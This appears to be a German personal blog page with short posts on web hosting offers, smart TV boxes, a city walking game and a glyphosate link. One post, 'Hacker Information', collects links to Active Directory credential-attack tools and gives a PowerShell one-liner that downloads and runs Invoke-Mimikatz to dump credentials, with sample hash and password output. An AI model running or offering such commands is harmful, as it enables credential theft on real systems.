Web Hosting

Web Hosting

WebGo.host

https://www.webgo.de/ssd-webhosting/

Paket: "Profi" - 11,95 EUR

Positiv:

• super performant!
• SSL inklusive (Let's encrypt)
• 100% Ökostrom
• 16 Kunden / CPU-Kern
• 100% SSD
• 6 Inklusive Domains
• RZ in Frankfurt mit DE-CIX peering

Negativ:

• Anzahl mySQL DBs unklar
• ... nicht ganz billig ...

Domain-Preise:

https://www.webgo.de/domainpreise/

• .de - 10,68 EUR
• .com - 17,88 EUR
• .org - 17,88 EUR
• .info -21,48 EUR
• .eu -19,80 EUR

HostEurope - Host Europe

https://www.hosteurope.de/WebHosting/
Paket: "WebHosting Medium" - 7,10 EUR

Positiv:

• 10x mySQL DBs auf SSD

Negativ:

• keine SSL-Zertifikate kostenlos - 5 EUR / Monat!!!
• 0 Inklusiv-Domains

Domain-Preise:

• .de - 11,88 EUR
• .com - 16,68 EUR
• .org - 16,68 EUR
• .info -16,68 EUR
• .eu -16,68 EUR

All-INKL.COM

https://all-inkl.com/webhosting/privatplus/
Paket: "Premium" - 9,95 EUR, 20% Rabatt bei Vorauszahlung

Positiv:

• Dort liegen alle Domains ;-)
• SSL inklusive (Let's encrypt)
• 10 Inklusiv-Domains (auch non-DE)
• Sehr günstige Domain-Preise für Zusatz-Domains
• 50x mySQL DBs
• 250 GB Space
• viele ftp User
• auch SSH-Zugang

Negativ:

• nicht der Aller-Schnellste - siehe oben bei WebGo ;-)

Domain-Preise:

• .de - 9,90 EUR
• .com - 14,90 EUR
• .org - 14,90
• .info - 14,90
• .eu - 14,90

Guter Vergleich:
https://www.webhosterwissen.de/webhosting/webhosting-vergleich/all-inkl-com/

( web hosting, webhosting, hosting, web-server, webserver, strato, host europe, hetzner, mysql, phpmyadmin, private homepage, home-page )

#

Read More

Hacker Information Tutorial

Hacker Information (Tutorial)

Hacking-Kurse <<< wirklich günstig ... auch gut & aktuell?

Good Book ;-) 

https://www.rheinwerk-verlag.de/hacking-und-security-das-umfassende-handbuch/

Microsoft Empfehungen:

https://docs.microsoft.com/de-de/windows/security/identity-protection/windows-credential-theft-mitigation-guide-abstract

Introducing Managed Service Accounts:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd560633(v=ws.10)

Windows Credential Guard & Mimikatz:
https://blog.nviso.eu/2018/01/09/windows-credential-guard-mimikatz/

Useful Links ...

New Ideas of Cybercrime @ Heise:

https://www.heise.de/hintergrund/Cybercrime-Erpressung-auf-neuem-Niveau-4867430.html

Golden Ticket:
https://blog.varonis.de/kerberos-angriffe-wie-lassen-sich-golden-tickets-stoppen/

Silver Ticket:
https://www.secupedia.info/wiki/Golden_Ticket/Silver_Ticket

Recon:

     Bloodhound:

         https://github.com/BloodHoundAD

Creds Theft / Reuse:

     Mimikatz :

         https://github.com/gentilkiwi/mimikatz  *** Very good Tool!

     Rubeus:

         https://github.com/GhostPack/Rubeus  *** Very good Docu!

     SQL:

         https://github.com/NetSPI/PowerUpSQL

    Docu:
        https://blog.netspi.com/powerupsql-powershell-toolkit-attacking-sql-server *** Very good Docu!

     Kerberoasting:

https://www.secura.com/blog-kerberoasting-exploiting-kerberos-to-compromise-microsoft-active-directory  *** Very good Docu!

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

     Passwords in Group Policy (GPP):

         https://adsecurity.org/?p=2288

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

(Problem: Encryption is AES, but private key is well-known ...)

     PowerSploit:

         https://powersploit.readthedocs.io/en/latest/

         https://github.com/PowerShellMafia/PowerSploit

Quick-Mimikatz in Action - Grab the Passwords as Hash & Clear Text ...

You just need a powershell with admin rights ;-)

https://gist.github.com/gfoss/ca6aa37f97fd400ff14f 

e.g.:

IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

=>
a lot of stuff:

as hash only:
         [00000003] Primary
         * Username : NBANTON$
         * Domain   : MYDOMAIN
         * NTLM     : 1786a4eD3b8f5Cd99d594a6566f1c430
         * SHA1     : 91b6e0c077ccb007047e64d3a852326bfdbefe28

sometimes in clear text as well ...
        credman :
         [00000000]
         * Username : (null)
         * Domain   : MicrosoftOffice16_Data:SSPI:abc@IlikeYou.com
         * Password : Katze123!
         [00000001]
         * Username : abc@IlikeYou.com
         * Domain   : outlook.office365.com
         * Password : Katze123!
         [00000002]
         * Username : @@BbTAXlNm#moFSauk7a9hTPlqdZ2F
         * Domain   : Microsoft_OC1:uri=abc@IlikeYou.com:certificate:OCS:1
         * Password : (null)
         * Marshaled: [Cert] SHA1:91b6e0c077ccb007047e64d3a852326bfdbefe28
         [00000003]
         * Username : abc@IlikeYou.com
         * Domain   : autodiscover-s.outlook.com
         * Password : Katze123!

Windows Password Hacks / NTLM Hashes ...

https://null-byte.wonderhowto.com

https://null-byte.wonderhowto.com/how-to/perform-pass-hash-attack-get-system-access-windows-0196077/

http://woshub.com/how-to-get-plain-text-passwords-of-windows-users/#h2_2

https://www.der-windows-papst.de/2019/07/08/protected-users-group/

https://docs.microsoft.com/de-de/windows-server/security/credentials-protection-and-management/protected-users-security-group

https://docs.microsoft.com/de-de/security-updates/SecurityAdvisories/2014/2871997?redirectedfrom=MSDN

https://support.microsoft.com/de-de/help/2973351/microsoft-security-advisory-registry-update-to-improve-credentials-pro


https://www.semperis.com/blog/easy-hacking-active-directory-password/

https://www.der-windows-papst.de/2019/07/10/active-directory-backdoor-man-in-the-middle/

https://www.der-windows-papst.de/wp-content/uploads/2019/07/Active-Directory-Backdoor-Man-in-the-Middle.pdf

 Hacker 101 Tutorials

Hacker One

Mit Hacker 101 zum Millionär ;-)

Powershell - Mostly used tool for Trojan Horses

Office-Cracks, NTLM Hacking, WIFI, and, and and ...

https://null-byte.wonderhowto.com

Seach Engine for "open Servers" (Windows, WebCam etc.)

Shodan  @ Wikipedia 

Darknet, TOR & .onion:

http://gueldenpfennigs.blogspot.com/2019/01/darknet-tor-und-onion-tld.html


( hack, hacking, hacker, warez, gamez, 101, ccc )

Read More

Smart TV Box und Stick

Smart TV Box und Stick

Produkte

• Kingbox Android 9.0 TV Box K4, 70 EUR (aber 64 GB ROM)
  Kingbox Android 9.0 TV Box K4S, 65 EUR (aber 32 GB ROM)
• Rockchip 3328 Quad-core Cortex-A53
• 4 GB RAM / 32 GB ROM (64GB ROM bei K4)
• 64 GB mit einer Micro-SD-Karte
• Android 9.0 TV
• 1xUSB 3.0, 2x USB 2.0
• WLAN 2,4GHz
• 100 MBit Ethernet LAN
• 1 Bluetooth Headset möglich
• 4K = ULTRA HD
• Google’s Chromecast - https://store.google.com/de/product/chromecast_specs, 39 EUR
• Bqeel Android TV Box Y2, 43 EUR
• schlechtes WLAN, LAN scheint zu klappen
• Apple TV, ca. 180EUR

Grundig Amira 32

• Datenblatt
• Manual

Vergleiche

https://www.heimkinoheld.de/tv-box-test
(mit vielen guten Erklärungen!)

https://10toptest.de/vergleich/beste-smart-tv-boxen

https://www.homeandsmart.de/smart-tv-box-test-vergleich
(auch mit Apple TV)

https://www.smart-wohnen.de/entertainment/artikel/smart-tv-box-die-besten-smart-tv-boxen-im-vergleich

Amazon-Angebote

https://www.amazon.de/android-tv-box/s?k=android+tv+box

https://www.amazon.de/android-tv-box/s?k=android+tv+stick

Features

• OS: Android TV 9, 8, 7.1, Amazon Fire OS, (Linux)
• Bluetoth => Tastatur kann schnurlos angeschlossen werden
• USB: USB 3.0?
• HDMI: HDMI 2.0?
• WLAN schnell?
• Ethernet LAN?
• CPU? Quadcore ...
• RAM? 1-4GB
• Auflösung
• HD TV => 720 Pixel
• Full HD TV => 1080 Pixel / H.264
• Ultra HD TV => 2160 Pixel / H.265
• Aufnahmefunktion?
• Streaming Abo verpflichtend oder gehen öffentlich Rechtliche auch so?

Streaming-Dienste

• Zatoo - kostenlos nur HD für öffentlich Rechtliche
• Kodi

Read More

Planlos in ...

Planlos in ...

https://www.planlos.in

Alle aktuellen Städte:

AACHEN
BERLIN
BONN
BRÜHL
DÜSSELDORF
HAMBURG
KÖLN
NEUSS

Coole Fußgänger-Rundtour mit Handy etc. ähnlich Fahrradralley ;-)

Read More

Glyphosat

Glyphosat

Infos von Bayer (nicht überprüft):

https://www.hier-sind-die-fakten.de

Read More